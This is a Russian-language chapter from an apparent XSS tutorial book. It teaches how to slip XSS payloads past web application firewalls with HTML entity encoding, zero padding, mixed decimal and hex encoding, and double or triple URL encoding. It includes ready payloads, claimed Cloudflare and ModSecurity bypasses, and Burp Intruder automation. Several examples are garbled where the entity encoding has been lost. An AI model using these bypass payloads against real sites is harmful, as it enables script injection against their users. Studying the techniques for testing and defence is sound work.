Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪• HTML entity encoding и двойное кодирование
Кодирование - это твой универсальный ключ для превращения "опасного" payload'а в "безобидную" строку, которую WAF пропустит, а браузер всё равно выполнит. Фильтры видят символы, браузер понимает смысл. И между этим восприятием -огромная пропасть, в которую ты можешь засунуть весь свой арсенал XSS. Давай разберём две фундаментальные техники обхода: HTML Entity Encoding и Double Encoding - инструменты, без которых ни один серьёзный охотник за XSS не обходится.
HTML Entity Encoding - говори на языке браузера
HTML Entity Encoding - это официальный способ представления специальных символов в HTML через их числовые или именованные коды. Это не хак, не уязвимость - это стандарт. И именно поэтому он так хорошо работает для обхода фильтров.
Три формата — одна цель
Named entities (именованные):
< <!-- < -->
> <!-- > -->
" <!-- " -
->' <!--
39; -->& <!-- & -->
Decimal entities (десятичные):
< <!-- < -->
> <!-- > -->
a <!-- a -->
" <!-- " -->
Hexadecimal entities (шестнадцатеричные):
< <!-- < -->
> <!-- > -->
a <!-- a -->
" <!-- " -->
Браузер обязан декодировать все три формата по спецификации HTML Living Standard. WAF - нет. Вот и весь трюк .
Где работают HTML entities - контекст решает всё
Критически важно понимать: HTML entities декодируются только HTML-парсером, не JavaScript-движком.
Работает в:
- Теле HTML-документа (между тегами)
- Значениях HTML-атрибутов
НЕ работает в:
- Внутри тега
<script>(чистый JavaScript-код) - Внутри тега
<style>(CSS-код) - В JSON или других не-HTML контекстах
Пример правильного использования:
<!-- HTML Context - работает -->
<div><script>alert(1)</script></div>
<!-- Attribute Context - работает -->
<img src=x onerror="alert(1)
"><!-- JavaScript Context - НЕ работ
ает --><
script> var x = "a"; // Это строка
"a", не "a"</script>
Почему в атрибуте работает? Потому что HTML-парсер сначала декодирует значение атрибута onerror="alert(1)" в onerror="alert(1)", и только потом передаёт эту строку JavaScript-движку для выполнения.
Практические техники обхода
Техника 1: Partial Encoding
Не нужно кодировать весь payload целиком. Кодируй только те символы, которые триггерят фильтр.
WAF блокирует слово "alert":
<!-- Полностью - работает, но громоздко -->
<img src=x onerror="alert(1)
"><!-- Частично - элеган
тно --><img src=x onerror="&#
97;lert(1)"><img src=x onerror=&qu
ot;alert(1)"><img src=x onerror="alert(1)">
Для WAF, ищущего строку "alert", это три разных строки. Для браузера - одна и та же функция.
Техника 2: Zero Padding
HTML-парсер игнорирует ведущие нули в числовых сущностях. WAF обычно не учитывает этого.
<!-- Стандартная форма -->
<
<!-- С нулями спереди -->
<
<
<
<
Все эти варианты браузер декодирует в <. Но для примитивного словаря WAF это совершенно разные строки.
Payload:
<a href="javascript:alert(1)">
Это javascript:alert(1), но с padding нулями в каждой букве.
Техника 3: Mixed Encoding
Комбинируй decimal и hexadecimal форматы в одном payload'е.
<img src=x onerror="alert(1)">
Здесь:
a=a(decimal)e=e(hex)1=1(hex)
Результат: alert(1). Для regex-based фильтров это мусор.
Техника 4: Encoding критичных символов
Кодируй скобки, кавычки, двоеточия - всё, что обычно триггерит WAF.
WAF блокирует javascript: схему:
<a href="javascript:alert(1)">Click
</a><a href="javascript:alert(1)"
;>Click</a><iframe src="javascript:alert(1)">
: и : — это двоеточие :.
WAF блокирует скобки в вызовах функций:
<svg onload=alert(1)>
<img src=x onerror=prompt(1)>
( = (, ) = ), ( = (, ) = ).
Техника 5: Attribute Context Abuse
В значениях атрибутов HTML entities декодируются до передачи в JavaScript:
<div onclick="eval('alert(1)')">Click</div>Порядок обработки:
- HTML-парсер видит атрибут
onclick="eval('alert(1)')" - Декодирует HTML entities:
onclick="eval('alert(1)')" - Передаёт строку
eval('alert(1)') JavaScript-движку - JS выполняет код
Кейсы из реальной жизни
Кейс 1: Обход фильтра тегов
Цель использовала strip_tags() в PHP, но разрешала некоторые теги для форматирования. Фильтр также блокировал прямые упоминания <script>.
Payload:
<b title="<script>alert(1)</script>">Bold text</b>
Тег <b> разрешён. Атрибут title отображался в админке без повторного экранирования. HTML entities декодировались, и админ видел всплывающее окно.
Кейс 2: Обход ModSecurity
ModSecurity блокировал payload с явными вызовами функций. Правило искало паттерн alert(.
Bypass:
<img src=x onerror=alert(document.domain)>
Скобки закодированы - правило не срабатывает. Браузер декодирует и выполняет.
Double Encoding - обман на два фронта
Double Encoding (двойное кодирование) эксплуатирует разницу в количестве раз, которое декодируются данные на разных уровнях обработки: WAF → Web Server → Application → Browser.
Механика двойного кодирования
URL-encoding базис:
<=%3C>=%3E%=%25
Двойное URL-encoding:
<=%3C→%253C(закодировали символ%)>=%3E→%253E
Как это работает:
- Атакующий отправляет:
%253Cscript%253E - WAF декодирует один раз:
%3Cscript%3E(видит просто строку с процентами, не теги) - WAF пропускает запрос
- Web-сервер (Apache/Nginx) декодирует второй раз:
<script> - Приложение вставляет в HTML:
<script>alert(1)</script> - Браузер выполняет
Сценарии применения
Сценарий 1: Многоуровневая архитектура
В enterprise-приложениях запрос проходит через:
- CDN (Cloudflare, Akamai)
- Load Balancer
- WAF (ModSecurity, Imperva)
- Reverse Proxy (Nginx)
- Application Server (Apache, IIS)
- Backend (PHP, Java, Node.js)
Каждый уровень может декодировать URL. Если WAF декодирует один раз, а приложение - дважды, ты в деле.
Практический пример:
Original: <script>alert(1)</script>
Single: %3Cscript%3Ealert(1)%3C%2Fscript%3E
Double: %253Cscript%253Ealert(1)%253C%252Fscript%253E
Triple: %25253Cscript%25253Ealert(1)%25253C%25252Fscript%25253E
Тестируй все уровни в Burp Repeater.
Сценарий 2: Parameter Pollution с декодированием
Некоторые фреймворки декодируют параметры несколько раз при конфликте имён.
?param=%253Cscript%253E¶m=%3Cimg%3E
Первый параметр декодируется дважды, второй - один раз.
Сценарий 3: HTML Entity Double Encoding
Редко, но встречается: санитайзер декодирует HTML entities для проверки, но делает это криво.
<!-- Оригинал -->
<script>
<!-- Закодировано в HTML entities -->
<script>
<!-- Закодировано двойное (entities для амперсанда) -->
&#60;script&#62;
Процесс:
- Санитайзер видит
&#60;script&#62; - Декодирует один раз:
<script>(видит "безопасный текст") - Пропускает
- Браузер декодирует повторно:
<script>(выполняет)
Комбинированные техники
HTML + URL Double Encoding:
<a href="java%2573cript%253aalert(1)">Click</a>
Разбор:
%25=%(double encoding)- После первой декодировки:
java%73cript%3aalert(1) - После второй:
javascript:alert(1)
Triple Encoding для параноидальных WAF:
Original: <
Single: %3C
Double: %253C
Triple: %25253C
Автоматизация в Burp Suite
Intruder Payload Processing:
- Positions: выдели параметр
§test§ - Payloads: загрузи базовые XSS payloads
- Payload Processing → Add:
- Rule: URL-encode key characters (first encoding)
- Rule: URL-encode all characters (second encoding)
- Start attack
Пример workflow:
Base payload: <script>alert(1)</script>
Processing chain:
- URL-encode key chars:
%3Cscript%3Ealert(1)%3C/script%3E - URL-encode all:
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Отправь оба варианта и сравни результаты.
Практические кейсы комбинирования
Кейс: Cloudflare WAF Bypass
Cloudflare имеет сигнатуры для HTML entities, но не всегда учитывает padding и mixed encoding.
Blocked:
<svg onload=alert(1)>
Bypassed:
<svg/onload=alert(1)>
Комбо:
- Mixed decimal/hex
- Zero padding в некоторых местах
- Слэш вместо пробела между тегом и атрибутом
Кейс: ModSecurity + Double URL Encoding
ModSecurity блокировал все вариации <script>, даже закодированные.
Testing:
%3Cscript%3E → Blocked
%253Cscript%253E → Blocked
%25253Cscript%25253E → Passed!
Оказалось, что reverse proxy дважды декодировал URL, а ModSecurity проверял только после первого декодирования.
Кейс: Mixed Context Confusion
Приложение вставляло пользовательский ввод в несколько контекстов:
<!-- HTML Context -->
<div>USER_INPUT</div>
<!-- Attribute Context -->
<input value="USER_INPUT
"><!-- JS Cont
ext --><script>var x = 'USER_INPUT';</script>
Payload с HTML entities работал только в первых двух, но не в третьем. Решение:
</div><script>alert(1)</script>
Закрываем div в HTML-контексте, открываем script. Entities декодируются в HTML, создавая валидный тег.
Защита vs Обход
Для защитников:
- Контекстное экранирование: Разное для HTML/JS/URL/CSS
- Канонизация: Декодируй все форматы ДО проверки
- Whitelist подход: Разрешай только известные безопасные символы
- CSP: Content-Security-Policy как последний рубеж
Для атакующих:
- Тестируй все уровни кодирования (1x, 2x, 3x)
- Комбинируй форматы (decimal, hex, named)
- Используй zero padding и mixed encoding
- Автоматизируй через Burp Payload Processing
- Документируй, что работает на конкретных WAF
Заключение
HTML Entity Encoding и Double Encoding - это не просто техники обхода. Это фундаментальное понимание того, как разные уровни веб-стека обрабатывают данные. WAF видит байты, сервер видит строки, приложение видит параметры, браузер видит смысл. И между каждым уровнем - возможность для трансформации. Твоя задача - найти такое представление payload'а, которое на входе выглядит безобидно, но на выходе убивает. Экспериментируй с комбинациями, автоматизируй тестирование, изучай спецификации, и помни: каждый символ может быть закодирован десятками способов. Твоя задача -найти тот, который пропустит WAF, но выполнит браузер. В следующем разделе мы углубимся в специфические bypass-техники для конкретных WAF-решений, где эти знания превратятся в реальные эксплойты на production-системах.
